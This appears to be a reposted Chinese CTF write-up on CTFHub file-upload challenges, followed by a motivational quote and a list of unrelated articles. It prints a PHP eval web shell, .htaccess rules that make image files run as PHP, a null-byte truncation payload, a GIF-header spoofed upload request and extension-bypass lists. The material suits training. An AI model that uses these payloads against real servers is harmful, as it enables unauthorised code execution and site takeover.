CTFHub技能树 Web-文件上传详解

news2025/4/16 8:00:48

文章目录

    • 0x01 无验证
    • 0x02 前端验证
    • 0x03 .htaccess
    • 0x04 MIME绕过
    • 0x05 00截断
    • 0x06 双写后缀
    • 0x07 文件头检查
    • 0x08 其他
    • 摘抄

0x01 无验证

介绍:直接上传后缀是php的文件即可
在这里插入图片描述

文件上传
<?php @eval($_POST['777']);?>
在这里插入图片描述
在这里插入图片描述

进行连接
在这里插入图片描述

查找flag
在这里插入图片描述

0x02 前端验证

介绍:直接查看网页源代码,发现只能上传.jpg,.png,.gif三种格式的文件,前端上传jpg,修改数据包进行上传
在这里插入图片描述

第一步 上传.jpg图片
在这里插入图片描述

第二步 修改后的数据包
在这里插入图片描述

第三步 进行连接
在这里插入图片描述

第四步 查找flag
在这里插入图片描述

0x03 .htaccess

介绍:hatccess文件,.htaccess是Apache的又一特色。
● 一般来说,配置文件的作用范围都是全局的,但Apache提供了一种很方便的、可作用于当前目录及其子目录的配置文件——.htaccess(分布式配置文件),
● 提供了针对目录改变配置的方法, 即,在一个特定的文档目录中放置一个包含一个或多个指令的文件, 以作用于此目录及其所有子目录。
● 作为用户,所能使用的命令受到限制。
● 简单来说,就是我上传了一个.htaccess文件到服务器,那么服务器之后就会将特定格式的文件以php格式解析。

在这里插入图片描述
● 查看源代码,发现文件后缀都被禁用了
在这里插入图片描述

方法一:
第一步 上传.htaccess文件

AddType application/x-httpd-php .png  //.png文件当作php文件解析

在这里插入图片描述
在这里插入图片描述

第二步 上传png的文件

在这里插入图片描述
在这里插入图片描述

第三步 进行连接
在这里插入图片描述
在这里插入图片描述

方法二:
第一步 上传.htaccess


//只要文件名中包含pass777,就会被Apache解析为php文件。

<FilesMatch "pass777">
SetHandler application/x-httpd-php
</FilesMatch>

在这里插入图片描述
在这里插入图片描述

第二步 文件上传
在这里插入图片描述
在这里插入图片描述

第三步 进行连接
在这里插入图片描述
在这里插入图片描述

0x04 MIME绕过

介绍:MIME(Multipurpose Internet MailExtensions)多用途互联网邮件扩展类型。
● 是设定某种扩展名的文件用一种应用程序来打开的方式类型,当该扩展名文件被访问的时候,浏览器会自动使用指定应用程序来打开。
● 多用于指定一些客户端自定义的文件名,以及一些媒体文件打开方式。
● MIME 消息能包含文本、图像、音频、视频以及其他应用程序专用的数据。
常见的MME类型,例如:

#text表明文件是普通文本
text/plain
text/html
#image表明是某种图像或者动态图(gif)
image/jpeg
image/png
#audio表明是某种音频文件
audio/mpeg
audio/ogg
audio/*
#video表明是某种视频文件
video/mp4
#application表明是某种二进制数据
application/*
application/json
application/javascript
application/ecmascript
application/octet-stream

在这里插入图片描述

第一步 进行文件上传
在这里插入图片描述

第二步 修改数据包
Content-Type: image/jpeg
在这里插入图片描述

第三步 进行连接
在这里插入图片描述

0x05 00截断

http://www.admintony.com/%E5%85%B3%E4%BA%8E%E4%B8%8A%E4%BC%A0%E4%B8%AD%E7%9A%8400%E6%88%AA%E6%96%AD%E5%88%86%E6%9E%90.html
0x00是字符串的结束标识符,攻击者可以利用手动添加字符串标识符的方式来将后面的内容进行截断,而后面的内容又可以帮助我们绕过检测。
数据包中必须含有上传后文件的目录情况才可以用,比如数据包中存在path: uploads/,那么攻击者可以通过修改path的值来构造paylod: uploads/aa.php%00
在这里插入图片描述

第一步 进行文件上传
在这里插入图片描述

第二步 修改数据包

POST /?road=/var/www/html/upload/123.php%00 HTTP/1.1

在这里插入图片描述

第三步 进行连接

在这里插入图片描述
在这里插入图片描述

0x06 双写后缀

介绍 发现文件成功,但是后缀名缺失
在这里插入图片描述

第一步 文件上传
在这里插入图片描述

第二步 修改数据包
在这里插入图片描述
在这里插入图片描述

第三步 进行连接,并查找文件

在这里插入图片描述
在这里插入图片描述

0x07 文件头检查

介绍:图片的文件头:GIF89a
在这里插入图片描述

第一步 文件上传
在这里插入图片描述

第二步 更改数据包

------WebKitFormBoundaryff32JeQTam0WpVd7
Content-Disposition: form-data; name="file"; filename="1.php"
Content-Type: image/jpeg

GIF89a
<?php @eval($_POST['777']);?>

在这里插入图片描述

第三步 进行连接,查找flag

在这里插入图片描述

0x08 其他

黑名单绕过
通过上传不受欢迎的php扩展来绕过黑名单。例如:pht,phpt,phtml,php3,php4,php5,php6

白名单绕过
通过某种类型的技巧来绕过白名单,例如添加空字节注入(shell.php%00.gif),或使用双重扩展来上传文件(shell.jpg.php)。

扩展名大小写来绕过
例如:pHp,Php,phP。

双写后缀绕过
例如:pphphp
在这里插入图片描述

摘抄


很多人都曾梦想做一番大事业,但其实一点点小事累积就成了大事,任何大的成就也都是累积的结果,这就是累积定律。

如果你想获得成长,就从认真完成手头的小任务开始;如果你想拥有一个好身材,就从慢跑1公里开始;如果你想有好的文笔,就从看一本书开始。你想成为一个什么样的人,想过什么样的生活,其实都取决于你每一个决定。

任何事情只要开始就不晚,人生的路,每一步都算数。做你想做的事,努力成为你想成为的人,就从现在开始行动吧。
—《累积定律》


本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/24969.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

智慧住建解决方案-最新全套文件

智慧住建解决方案-最新全套文件一、建设背景目前智慧住建的信息化现状&#xff1a;1、系统重叠建设&#xff0c;标准规范不统一2、信息应用水平不均衡&#xff0c;资源共享待提升3、应用系统众多&#xff0c;用户操作体验不佳4、原有架构难以适应“互联网”的新要求二、总体设计…

计算机中的第三个伟大发明

本节我们学习了控制计算机跳转指令的第三个发明的由来&#xff0c;以及清除指令。并且展示了计算机的整体控制部分的布线图。 第三个发明 对于跳转指令&#xff0c;有时它会跳转&#xff0c;有时不会。跳或不跳只是两种可能性&#xff0c;所以只需要一个bit就可以确定哪一种会…

【Kubernetes快速实战】

K8S官网文档&#xff1a;https://kubernetes.io/zh/docs/home/ 文章目录前言一、K8S核心特性二、K8S集群安装1.安装K8S集群1、关闭防火墙2、关闭 selinux3、关闭 swap4、给三台机器分别设置主机名5、在 k8s‐master机器添加hosts&#xff0c;执行如下命令&#xff0c;ip需要修改…

全球最受欢迎的「数字游民」城市竟然是它?

相信你已经或多或少听说过「数字游民」这个词汇了。 「数字游民」译自英文词组Digital Nomad&#xff0c;是指那些没有办公室等固定工作场所&#xff0c;利用互联网从事远程工作&#xff0c;实现地域和时间的相对自由&#xff0c;在全球范围内移动生活的人群。 想想看&#x…

STM32实战总结:HAL之电机

电机基础知识参考&#xff1a; 51单片机外设篇&#xff1a;电机_路溪非溪的博客-CSDN博客 无刷电机和有刷电机 先详细了解有刷电机&#xff1a; 带你了解&#xff08;有刷&#xff09;电机工作原理_哔哩哔哩_bilibili 再详细了解无刷电机&#xff1a; 无刷直流电机工作原理_哔哩…

MySQL在centos上的安装

去mysql官网下载mysql 通过mysql官网的download界面&#xff0c;找到community server&#xff0c;然后选择对应linux版本下载对应的安装包 这里直接上链接 https://downloads.mysql.com/archives/community/ 可以通过cat /etc/centos-release命令找到当前centos对应的版本 下…

[附源码]java毕业设计小区供暖收费管理系统

项目运行 环境配置&#xff1a; Jdk1.8 Tomcat7.0 Mysql HBuilderX&#xff08;Webstorm也行&#xff09; Eclispe&#xff08;IntelliJ IDEA,Eclispe,MyEclispe,Sts都支持&#xff09;。 项目技术&#xff1a; SSM mybatis Maven Vue 等等组成&#xff0c;B/S模式 M…

重磅上市《精通Neo4j》

重磅上市《精通Neo4j》重磅上市《精通Neo4j》一、写在前面的话二、主要内容三、更多介绍Here’s the table of contents:重磅上市《精通Neo4j》 《精通Neo4j》是继《Neo4j权威指南》之后第二本由中国人原创的图数据库领域专业书籍。由清华大学出版社于2022年11月出版&#xff0…

【菜菜的sklearn课堂笔记】逻辑回归与评分卡-步长的进一步理解和max_iter

视频作者&#xff1a;菜菜TsaiTsai 链接&#xff1a;【技术干货】菜菜的机器学习sklearn【全85集】Python进阶_哔哩哔哩_bilibili 既然参数迭代是靠梯度向量的大小d步长α梯度向量的大小d \times步长\alpha梯度向量的大小d步长α来实现的&#xff0c;而J(θ)J(\theta)J(θ)的降…

群推王|如何引爆您的推特流量

推特营销主要吸引力在于其庞大的用户群体。它是最大的社交媒体平台之一&#xff0c;据统计每月有3.3亿活跃用户&#xff0c;为品牌知名度和增长做出了重大贡献。 尽管我们都知道推特营销的重要性&#xff0c;但是在实际运用上大家可能会遇到一些问题&#xff0c;比如您有很多粉…

C/C++ 结构体变量初始化的几种方法总结及内存排列(字节对齐)

前言 最近看到一些别人的代码&#xff0c;对结构体的初始化使用了不同的语法&#xff0c;就决定对结构体的初始化方法做个探索&#xff0c;这里小小的记录一下。 注意&#xff0c;没有初始化的结构体变量是不会输出的&#xff0c;比如 struct SBase{int iNumberOne;int iNum…

Redis的分布式锁问题(八)基于Redis的分布式锁

Redis的分布式锁问题&#xff08;八&#xff09;基于Redis的分布式锁 分布式锁 什么是分布式锁&#xff1f; 分布式锁&#xff1a;满足分布式系统或集群模式下多进程可见并且互斥的锁。 当多个进程不在同一个系统中&#xff0c;用分布式锁控制多个进程对资源的访问。 在…

springboot+vue3+ts实现一个点赞功能

前端&#xff1a;vitevue3tselementplusless 后端&#xff1a;springboot2.7.5mybatisplus 后端&#xff1a; 引入pom依赖 <dependencies><dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-web</…

通俗理解模拟退火算法,小白也看得懂!

模拟退火的实例 齐白石原是木匠&#xff0c;快30岁才正式学画。直到57岁以后画风开始转变&#xff0c;才真正有所成就。 鲁迅原本留日学医&#xff0c;25岁弃医从文&#xff0c;但37岁时才写出第一篇白话文小说《狂人日记》。 项羽在24岁巨鹿之战成名&#xff0c;26岁封王却走…

Advances in Graph Neural Networks笔记2:Fundamental Graph Neural Networks

诸神缄默不语-个人CSDN博文目录 本书网址&#xff1a;https://link.springer.com/book/10.1007/978-3-031-16174-2 本文是本书第二章的学习笔记。 我们学校没买这书&#xff0c;但是谷歌学术给我推文献时给出了一个能免登录直接上的地址&#xff0c;下次就不一定好使了&#…

Web of science,scopus,Google scholar的介绍和区别

Overview 最近为了和实验室同学分享这几个常见的数据库的区别&#xff0c;因此做了一个简单的 从这张图上面可以看到&#xff0c;Web of science (Wos)是在1997年&#xff0c;由Institute for Scientific Information (ISI)合并多种索引建立的&#xff0c;而ISI在1992年加入了…

11.21二叉树oj

目录 一.队列.栈顺序表总结 二.猫狗问题 三.股票价格跨度 四.二叉树的初始化 1.获取树中节点的个数 1.遍历思路 2.子问题思路 2.叶子节点个数 3.获取第K层节点的个数 4.获取二叉树的高度 6.判断一棵树是不是完全二叉树 一.队列.栈顺序表总结 1.顺序表和栈的底层都是…

C++ 单向链表手动实现(课后作业版)

单向链表&#xff0c;并实现增删查改等功能 首先定义节点类&#xff0c;类成员包含当前节点的值和下一个节点的地址 /node definition template <typename T> class Node { public:T value;Node<T>* next;Node() {}Node(const T& value) {this->value va…

ES6 入门教程 19 Generator 函数的语法 19.7 yield星号表达式

ES6 入门教程 ECMAScript 6 入门 作者&#xff1a;阮一峰 本文仅用于学习记录&#xff0c;不存在任何商业用途&#xff0c;如侵删 文章目录ES6 入门教程19 Generator 函数的语法19.7 yield* 表达式19 Generator 函数的语法 19.7 yield* 表达式 如果在 Generator 函数内部&…

windows域控批量创建账号方法

目录 一、收集信息 二、编写脚本 &#xff08;一&#xff09;新建aduser.ps1的powershell脚本 &#xff08;二&#xff09;New-Aduser命令详解 三、生产环境报错 &#xff08;一&#xff09;ConvertTo-SecureString &#xff08;二&#xff09;指定的账号已存在 &#xff…